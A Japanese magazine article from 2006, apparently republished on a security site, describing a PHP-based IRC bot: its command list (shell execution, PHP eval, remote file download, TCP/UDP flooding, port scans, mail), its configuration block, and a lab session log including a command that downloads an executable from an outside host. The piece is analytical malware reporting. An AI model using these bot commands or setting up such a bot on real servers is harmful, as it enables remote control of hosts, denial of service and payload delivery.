Articles - Malware |
2006年3月にハッカージャパン誌に寄稿した記事です。初稿にほとんど修正を加えず掲載しておりますので、古い情報であることにご注意ください。
PHPスクリプトのボット
rbot系とAgobot系の代表的な二つのボットを中心に解説してきたが、もちろん、他にもボットは多数存在している。最後に、最近、コミュニティで公開されたPHP Botを紹介しよう。現状ではバグも多く、使えるコマンドも限られるなど、まだまだ使えるレベルとはいえないが、PHPスクリプトで記述されたボットであるため、コンパイルなどは不要で、Webサーバにアップロードするだけで利用できる点が特徴だ。つまり、PHPスクリプトが動作するWebサーバであれば、簡単に設置して利用できてしまう。無料のWebスペースなどはインターネット上に星の数ほど存在しているため、悪用される可能性が出てくるわけだ。
図31が現在のPHP Botに用意されているコマンド群および設定項目である。PHPスクリプトをアップロードして、そのURLへアクセスすればIRCサーバへログインしてくる。コマンドは少ないが、WindowsをWebサーバにしている場合には、execやcmdコマンドでコマンドを実行できることを確認している。
また、ポートスキャン(単純に一つのポートをスキャンしてアクティブなサービスかを確認するだけ)やメールの送信、ファイルをダウンロードするといったコマンドも用意されている。
ただし、DDoSコマンド(udp/tcp flooder)などはバグがあり、正常に動作せずエラーとなる。今回はWindow XPとOpenBSD上のApacheでテストしているが、Windows XPではDDoSを省き、他のコマンドは正常に動作した。今後は新たな機能も追加されていく可能性が高く、バグ修正なども行われていくだろう。
■図31:PHP Botに用意されたコマンド群
.user //Botへのログイン
.logout //Botからのログアウト
.die //BotのKILL
.restart //Botの再起動
.mail //メール送信
.dns //DNS Lookup
.download //指定したURLからのダウンロード
.exec // uses shell_exec() //コマンド実行
.cmd // uses popen() //コマンド実行
.info //システム情報の閲覧
.php // uses eval() //PHPスクリプトの実行
.tcpflood //tcpfloodアタック
.udpflood //udpfloodアタック
.raw //raw IRCコマンド
.rndnick //ニックネーム変更
.pscan //ポートスキャン
.ud.server [newpass] //IRCサーバの変更
■図32:PHPスクリプト上の設定項目。基本的な設定のみ記述するだけで、接続先IRCサーバ、ポート、チャンネル、ボットのパスワードなどを変更すればよい。
~~~~省略~~~~
var $config = array("server"=>"192.168.1.88",
"port"=>6667,
"pass"=>"",
"prefix"=>"HJ|",
"maxrand"=>8,
"chan"=>"#hack",
"key"=>"",
"modes"=>"+iB-x",
"password"=>"123123",
"trigger"=>".",
"hostauth"=>"*"
);
~~~~省略~~~~
■図33:実際にコマンドを入力している例。ログインからシステム情報の閲覧やコマンドを実行している。メールの送信なども可能だ。
.user 123123 ←Botへログイン
<[A]HJ|1584604> [auth]: k0rnz logged in
.cmd notepad.exe ←ノートパッドの実行
<[A]HJ|1584604> [cmd]: notepad.exe
.exec notepad.exe ←ノートパッドの実行
<[A]HJ|1584604> [exec]: notepad.exe
.download http://www.blackout.org/misc/sv.exe test.exe ←ファイルのダウンロード
<[A]HJ|1584604> [download]: File http://www.blackout.org/misc/sv.exe downloaded to test.exe
.tcpflood 192.168.1.20 10 20 337 10 ←TCP Floodを行うもエラー
<[A]HJ|1584604> [tcpflood]: Sending 10 packets to 192.168.1.20:337. Packet size: 20
<[A]HJ|1584604> [tcpflood]: Error: <10060>
.pscan 192.168.1.20 80 ←ポートスキャン
<[A]HJ|1584604> [pscan]: 192.168.1.20:80 is open
.mail webmaster[at]blackout.org tts.blackout[at]gmail.com test testmsg ←メールの送信
<[A]HJ|1584604> [mail]: Message sent to webmaster[at]blackout.org
.info ←システム情報の閲覧
<[A]HJ|1584604> [info]: [httpd: Apache/2.2.0 (Win32) DAV/2 mod_ssl/2.2.0 OpenSSL/0.9.8a mod_autoindex_color PHP/4.4.1-pl1] [docroot: C:/Program Files/htdocs] [domain: localhost] [admin: admin[at]localhost] [url:/bot/pBot.php]